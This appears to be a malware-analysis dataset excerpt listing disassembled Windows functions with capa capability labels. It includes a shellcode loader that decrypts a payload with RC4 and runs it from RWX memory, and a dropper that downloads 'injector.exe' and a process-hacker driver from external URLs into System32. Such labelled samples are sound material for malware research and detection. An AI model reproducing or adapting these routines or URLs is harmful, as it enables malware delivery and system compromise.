joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001ccd0
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor al, al
mov ecx, dword [rcx + 0x7c]
cmp ecx, 0xffffffff
je 0x14001ce5d
cmp ecx, 0x7c
je 0x14001ce5d
cmp ecx, 0x29
jne 0x14001cd4a
cmp dword [rdi + 0x1c], 0
jne 0x14001ce5d
lea rbx, [rdi + 0x80]
test dword [rbx], 0x10000000
je 0x14001ce76
cmp ecx, 0x5d
jne 0x14001cd27
test dword [rbx], 0x10000000
je 0x14001ce84
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.14001c2c4
mov rcx, rdi
call fcn.140020d94
mov rcx, rdi
call fcn.140020e08
mov ecx, dword [rdi + 0x7c]
mov al, 1
jmp 0x14001cce2
lea rbx, [rdi + 0x80]
cmp ecx, 0x2e
jne 0x14001cd61
lea rcx, [rdi + 0x40]
call fcn.14001c54c
jmp 0x14001cd33
cmp ecx, 0x5c
jne 0x14001cdaf
mov rcx, rdi
call fcn.140020d94
test byte [rbx], 0x80
je 0x14001cda5
mov al, byte [rdi + 0x78]
cmp al, 0x62
jne 0x14001cd8d
lea rcx, [rdi + 0x40]
call fcn.14001ccc4
mov rcx, rdi
call fcn.140020d94
jmp 0x14001cd43
cmp al, 0x42
jne 0x14001cda5
lea rcx, [rdi + 0x40]
call fcn.14001ccc4
lea rcx, [rdi + 0x40]
call fcn.140020d30
jmp 0x14001cd83
mov rcx, rdi
call fcn.14001cea0
jmp 0x14001cd3b
cmp ecx, 0x5b
jne 0x14001cdda
mov rcx, rdi
call fcn.140020d94
mov rcx, rdi
call fcn.14001d8a8
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.14001f584
jmp 0x14001cd3b
cmp ecx, 0x28
jne 0x14001ce0f
mov rcx, rdi
call fcn.140020d94
mov rcx, rdi
call fcn.1400215d0
mov edx, 0x29
mov rcx, rdi
mov bl, al
lea r8d, [rdx - 0x24]
call fcn.14001f584
test bl, bl
je 0x14001cd43
jmp 0x14001cd3b
cmp ecx, 0x5e
jne 0x14001ce22
lea rcx, [rdi + 0x40]
call fcn.14001c2b8
jmp 0x14001cd83
cmp ecx, 0x24
jne 0x14001ce35
lea rcx, [rdi + 0x40]
call fcn.14001c64c
jmp 0x14001cd83
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x14001ce92
cmp ecx, 0x3f
je 0x14001ce92
cmp ecx, 0x7b
je 0x14001ce92
cmp ecx, 0x7d
jne 0x14001cd16
test dword [rbx], 0x10000000
je 0x14001ce68
jmp 0x14001cd27
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 6
mov rcx, rdi
call fcn.14001f578
int3
mov edx, 5
mov rcx, rdi
call fcn.14001f578
int3
mov edx, 4
mov rcx, rdi
call fcn.14001f578
int3
mov edx, 0xa
mov rcx, rdi
call fcn.14001f578
int3
Function at 0x140022c50
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
and dword [rax - 0x38], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], 0
mov dword [rax - 0x38], 1
mov rax, qword [rdx + 0x10]
cmp rax, 0xf
jbe 0x140022cbc
mov r8b, byte [rsp + 0x60]
mov rdx, rax
call fcn.140008bbc
and qword [rbx + 0x10], 0
mov rax, qword [rdi + 0x10]
xor esi, esi
lea r14d, [rsi - 6]
cmp qword [rdi + 0x18], 0x10
jb 0x140022cd4
mov rbp, qword [rdi]
mov rcx, rbp
mov rdi, rbp
jmp 0x140022cda
mov rbp, rdi
mov rcx, rdi
lea r12, [rax + rcx]
cmp rdi, r12
je 0x140022dff
lea r8, [0x140058490]
shl esi, 8
movzx eax, byte [rbp]
add esi, eax
add r14d, 8
js 0x140022d77
movsxd r13, esi
movsxd rdi, r14d
lea ecx, [r14 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov r15d, edx
imul eax, edx, 0xfffffffa
add r14d, eax
mov rax, r13
mov rcx, rdi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x140022d54
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140022d49
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140022d6d
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.140002d10
lea r8, [0x140058490]
sub rdi, 6
sub r15, 1
jne 0x140022d1a
inc rbp
cmp rbp, r12
jne 0x140022cee
cmp r14d, 0xfffffffa
jle 0x140022dff
lea ecx, [r14 + 8]
shl esi, 8
movsxd rax, esi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x140022ded
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140022dbc
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140022dff
cmp rcx, qword [rbx + 0x18]
jae 0x140022dea
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140022de2
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x140022dff
mov r9b, 0x3d
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.140002d10
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x140022dc7
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14002668c
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x470
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r14d, 2
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov rbx, rcx
cmp word [rcx], r14w
je 0x1400266cd
cmp word [rcx], 0x17
jne 0x140026771
movzx ecx, word [rcx + 2]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
xor edx, edx
mov dword [rsi], eax
lea rcx, [rsp + 0x50]
mov esi, 0x401
mov r8d, esi
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0x50]
xor r14d, r14d
mov r9d, esi
mov dword [rsp + 0x28], r14d
mov edx, ebp
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x140026771
lea rax, [rsp + 0x50]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140026722
cmp rbx, qword [rdi + 0x18]
ja 0x140026758
cmp qword [rdi + 0x18], 0x10
mov rsi, rdi
jb 0x14002673e
mov rsi, qword [rdi]
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], r14b
jmp 0x14002676d
mov r8b, byte [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rbx
mov rcx, rdi
call fcn.140008680
mov al, 1
jmp 0x140026773
xor al, al
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140051300
add rsp, 0x470
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140026794
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x1400267a0
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400267f5
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.14002668c
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140051300
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret

Function at 0x1400267a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x1400267a0
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400267f5
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.14002668c
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140051300
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret
Function at 0x140047938
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
xor r15d, r15d
lea r12, [0x140000000]
movzx eax, byte [r15 + r12 + 0x5dde0]
mov edi, eax
mov r8d, eax
shr edi, 5
mov r11d, eax
shr r8d, 6
mov ebp, edi
lea edx, [rax + rax]
shr r11d, 7
xor edx, eax
and ebp, 4
mov r10d, edi
mov r9d, r8d
and edi, 1
and r10d, 2
imul ecx, edi, 0x1b000000
and r8d, 1
lea ebx, [rdx + rdx]
and r9d, 2
lea edx, [rdx*4]
xor ebx, eax
xor edx, eax
shl ebx, 0x19
shl edx, 8
mov esi, eax
xor rbx, rcx
mov r14d, eax
imul ecx, r10d, 0x1b000000
xor rbx, rcx
imul ecx, r8d, 0x1b000000
xor rbx, rcx
imul ecx, r9d, 0x1b000000
xor rbx, rcx
imul ecx, ebp, 0x1b000000
xor rbx, rcx
imul ecx, r11d, 0x1b000000
xor rbx, rcx
imul ecx, edi, 0x11b00
xor rdx, rcx
imul ecx, r10d, 0x11b00
xor rdx, rcx
imul ecx, r8d, 0x11b00
xor rdx, rcx
imul ecx, r9d, 0x11b00
xor rdx, rcx
imul ecx, ebp, 0x11b00
xor rdx, rcx
imul ecx, edi, 0x11b0000
or rbx, rdx
lea edx, [rax*8]
xor edx, eax
lea eax, [rax*4]
shl edx, 0x10
xor eax, r14d
xor rdx, rcx
imul ecx, r10d, 0x11b0000
xor rdx, rcx
imul ecx, ebp, 0x11b0000
xor rdx, rcx
imul ecx, edi, 0x11b
or rbx, rdx
lea edx, [rax + rax]
xor rdx, rcx
imul ecx, r10d, 0x11b
xor rdx, rcx
imul ecx, ebp, 0x11b
xor rdx, rcx
imul ecx, r11d, 0x11b
xor rdx, rcx
xor rdx, rsi
or rdx, rbx
shl rdx, 0x20
or rdx, rbx
or rdx, rsi
mov qword [r12 + r15*8 + 0x776b0], rdx
inc r15
cmp r15, 0x100
jl 0x14004795b
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov byte [0x140077eb1], 1
pop r15
pop r14
pop r12
ret

Function at 0x140047ac4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r11d, r11d
lea rbx, [0x140000000]
movzx r9d, byte [r11 + rbx + 0x5dce0]
mov edx, r9d
shr edx, 7
imul r10d, edx, 0x1b000000
lea r8d, [r9 + r9]
imul ecx, edx, 0x11b
mov eax, r8d
shl eax, 0x18
xor r10, rax
mov eax, r9d
shl eax, 8
or eax, r9d
shl eax, 8
or r10, rax
mov eax, r8d
xor rcx, rax
xor rcx, r9
or rcx, r10
shl rcx, 0x20
or rcx, r10
mov qword [rbx + r11*8 + 0x76ea0], rcx
inc r11
cmp r11, 0x100
jl 0x140047ad3
and qword [0x1400776a8], 0
and qword [0x1400776a0], 0
mov rbx, qword [rsp + 8]
mov byte [0x140077eb0], 1
ret
Function at 0x140049588
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, r8
mov rdi, rdx
mov ecx, dword [0x140077fb0]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x140077ec0], ecx
jg 0x14004966a
mov eax, ebx
cmp rbx, rax
jne 0x14004962c
xor ecx, ecx
test rbx, rbx
setne cl
xor eax, eax
test ebx, ebx
setne al
cmp ecx, eax
jne 0x14004962c
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x140077eb8]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x1400496ad
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140051300
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 0x5b6
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.GenerateBlock_size
lea rcx, [rsp + 0x20]
call fcn.140002200
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400492b8
lea rdx, [0x14006dda0]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [0x140077ec0]
call fcn.1400519bc
cmp dword [0x140077ec0], 0xffffffff
jne 0x1400495d4
lea rcx, [0x140077eb8]
call fcn.1400491cc
lea rcx, [0x140054c30]
call fcn.140051584
nop
lea rcx, [0x140077ec0]
call fcn.140051950
jmp 0x1400495d4
mov ecx, eax
call fcn.1400496f0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [0x14005c868]
lea rcx, [rsp + 0x20]
call fcn.140002200
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400492b8
lea rdx, [0x14006dda0]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x14004aaf4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp r8, 8
jb 0x14004ab67
mov rbp, r8
shr rbp, 3
imul rax, rbp, 0xfffffffffffffff8
add rdi, rax
mov r8d, 8
lea rcx, [rsp + 0x58]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 8
lea rcx, [rsp + 0x50]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x50]
add rsi, 8
xor rax, qword [rsp + 0x58]
add rbx, 8
or r14, rax
sub rbp, 1
jne 0x14004ab26
mov rcx, r14
shr rcx, 0x20
or ecx, r14d
mov edx, ecx
mov eax, ecx
shr edx, 8
or edx, ecx
shr eax, 0x10
and edx, 0xff00
or edx, eax
movzx eax, cl
shr edx, 8
or edx, eax
test rdi, rdi
je 0x14004aba9
sub rsi, rbx
movzx ecx, byte [rsi + rbx]
movzx eax, byte [rbx]
inc rbx
xor ecx, eax
or edx, ecx
sub rdi, 1
jne 0x14004ab95
mov rbx, qword [rsp + 0x40]
test edx, edx
mov rbp, qword [rsp + 0x48]
sete al
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14004abc4
Capabilities:
Encode data using xor

Disassembly:
test r9, r9
je 0x14004ac8a
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rbx, r9
mov r15d, 4
mov rdi, r8
mov rsi, rdx
mov r14, rcx
cmp rbx, r15
jb 0x14004ac55
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r15
lea rcx, [rsp + 0x20]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r15
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x68]
lea rdx, [rsp + 0x24]
xor eax, dword [rsp + 0x20]
mov r8, r15
mov rcx, r14
mov dword [rsp + 0x24], eax
call sub.VCRUNTIME140.dll_memcpy
add r14, r15
add rsi, r15
add rdi, r15
sub rbp, 1
jne 0x14004ac0a
test rbx, rbx
je 0x14004ac72
sub rsi, rdi
sub r14, rdi
mov al, byte [rsi + rdi]
xor al, byte [rdi]
mov byte [r14 + rdi], al
inc rdi
sub rbx, 1
jne 0x14004ac60
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x14004ac8c
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x14004ad39
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, r8
mov r14d, 4
mov rsi, rdx
mov rdi, rcx
cmp rbx, r14
jb 0x14004ad11
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r14
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r14
lea rcx, [rsp + 0x60]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x60]
lea rdx, [rsp + 0x20]
xor eax, dword [rsp + 0x68]
mov r8, r14
mov rcx, rdi
mov dword [rsp + 0x20], eax
call sub.VCRUNTIME140.dll_memcpy
add rdi, r14
add rsi, r14
sub rbp, 1
jne 0x14004acc9
test rbx, rbx
je 0x14004ad27
sub rsi, rdi
mov al, byte [rsi + rdi]
xor byte [rdi], al
inc rdi
sub rbx, 1
jne 0x14004ad19
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140050c54
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movdqu xmm1, xmmword [rcx]
mov r9d, 4
shl edx, 2
mov r8, rcx
movdqu xmm0, xmmword [rcx + rdx*4]
movdqu xmmword [rcx], xmm0
movdqu xmmword [rcx + rdx*4], xmm1
add edx, 0xfffffffc
cmp edx, r9d
jbe 0x140050ca3
aesimc xmm0, xmmword [r8 + rdx*4]
mov ecx, r9d
add r9d, 4
aesimc xmm1, xmmword [r8 + rcx*4]
movdqu xmmword [r8 + rcx*4], xmm0
movdqu xmmword [r8 + rdx*4], xmm1
add edx, 0xfffffffc
cmp r9d, edx
jb 0x140050c7a
mov eax, r9d
aesimc xmm0, xmmword [r8 + rax*4]
movdqu xmmword [r8 + rax*4], xmm0
ret

Function at 0x1400520cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140052116
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140052116
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140052116
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140052116
cmp dword [rcx + 0x84], 0xe
jbe 0x140052116
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140052118
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Get disk size

Disassembly:
push rbx
sub rsp, 0xa0
mov ebx, 1
nop
mov ecx, 2
lea r8d, [rcx - 1]
cmp ebx, ecx
jbe 0x140001058
nop dword [rax]
xor edx, edx
mov eax, ebx
div ecx
xor eax, eax
test edx, edx
cmovne eax, r8d
inc ecx
mov r8d, eax
cmp ecx, ebx
jl 0x140001020
cmp eax, 1
je 0x140001058
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x38]
lea rcx, [0x140040b8c]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
inc ebx
cmp ebx, 0x5f5e100
jle 0x140001010
mov edx, dword [0x14004a044]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001174
mov r8d, dword [0x14004a044]
lea rdx, [0x14000f330]
mov rcx, rax
call fcn.140001c20
mov eax, dword [0x14004a044]
lea rcx, str.cryptsp.dll
movups xmm0, xmmword [str.3O9bjikIdV3skFF5tgaqPYng54CMWcTRrejqrFUunoJLpJvKxmlpz2yXPedbMpj3]
mov dword [rsp + 0x28], eax
movups xmm1, xmmword [0x14004a010]
mov dword [rsp + 0x2c], eax
lea rax, [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14004a020]
mov byte [rsp + 0x90], 0
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x14004a030]
mov qword [rsp + 0x30], rbx
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
mov dword [rsp + 0x38], 0x40
mov dword [rsp + 0x3c], 0x40
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x28]
call rax
mov edx, dword [0x14004a044]
lea r9, [rsp + 0x20]
mov r8d, 0x10
mov dword [rsp + 0x20], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001174
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
add rsp, 0xa0
pop rbx
ret
mov eax, 0xffffffff
add rsp, 0xa0
pop rbx
ret

Function at 0x1400018f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001942
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001942
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001942
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001942
cmp dword [rcx + 0x84], 0xe
jbe 0x140001942
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001944
xor al, al
add rsp, 0x28
ret

Function at 0x1400059f0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400057ec
Function at 0x140008aa4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008ad4
xor eax, eax
jmp 0x140008b97
mov rbp, rbx
cmp word [rax], si
je 0x140008af9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008ae0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008adc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400089c4
movsxd r14, eax
test eax, eax
jne 0x140008b37
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008acd
mov rcx, r14
call fcn.140009538
mov rdi, rax
test rax, rax
jne 0x140008b50
xor ecx, ecx
call fcn.140006ffc
jmp 0x140008b2c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400089c4
test eax, eax
jne 0x140008b81
mov rcx, rdi
call fcn.140006ffc
jmp 0x140008b8b
xor ecx, ecx
call fcn.140006ffc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140002350
Capabilities:
Create directory
Download url
Encode data using xor
Execute command
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
cmp byte [0x14007b947], 0
mov eax, dword [str.PXF6]
mov dword [rbp + 0x10], eax
je 0x14000242e
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400023f0
movdqa xmm3, xmmword [0x14007ba40]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007bad0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007bad0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.8888]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x14007bab0]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x14007bac0]
xorps xmm3, xmm0
movd dword [rbp + 0x10], xmm3
jmp 0x14000242e
lea r8, [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x24924925
lea r8, [r8 + 1]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 4
jl 0x140002400
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x14007b8c8]
lea rcx, [rbp - 0x10]
movsd xmm0, qword [str._QS]
movsd qword [rbp - 0x10], xmm0
xor byte [rbp - 0xf], 0x34
xor byte [rbp - 0xe], 0x35
xor byte [rbp - 0xd], 0x36
xor byte [rbp - 0xc], 0x37
xor byte [rbp - 0xb], 0x38
xor byte [rbp - 0xa], 0x39
xor byte [rbp - 9], 0x3a
mov word [rbp - 8], ax
movzx eax, byte [0x14007b8ca]
xor byte [rbp - 8], 0x3b
xor al, 0x3d
xor byte [rbp - 7], 0x3c
mov byte [rbp - 6], al
mov byte [rbp - 0x10], WSASetLastError
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, reloc.WS2_32.dll_ioctlsocket
call fcn.140006850
mov rcx, rax
lea rdx, str._n____________n_t
call fcn.140006850
mov rcx, rax
call fcn.140006a30
lea rcx, str.C:WindowsSystem32_
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
cmp eax, 0xffffffff
jne 0x1400024d5
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsSystem32injectordll.exe
xor ecx, ecx
lea rdx, str.https:__ucarecdn.com_46a9ed1f_fadd_424f_97e6_4f0625f97bb5_injector.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsSystem32kprocesshacker.sys
xor ecx, ecx
lea rdx, str.https:__ucarecdn.com_b89530d0_746f_488b_87cb_5555eb6e76a8_kprocesshacker.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
add rsp, 0x40
pop rbp
ret
Function at 0x140007e70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 7], dil
je 0x140007ea4
mov ecx, edi
nop dword [rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 6
jb 0x140007e90
mov byte [r8 + 7], dil
lea rax, [r8 + 6]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
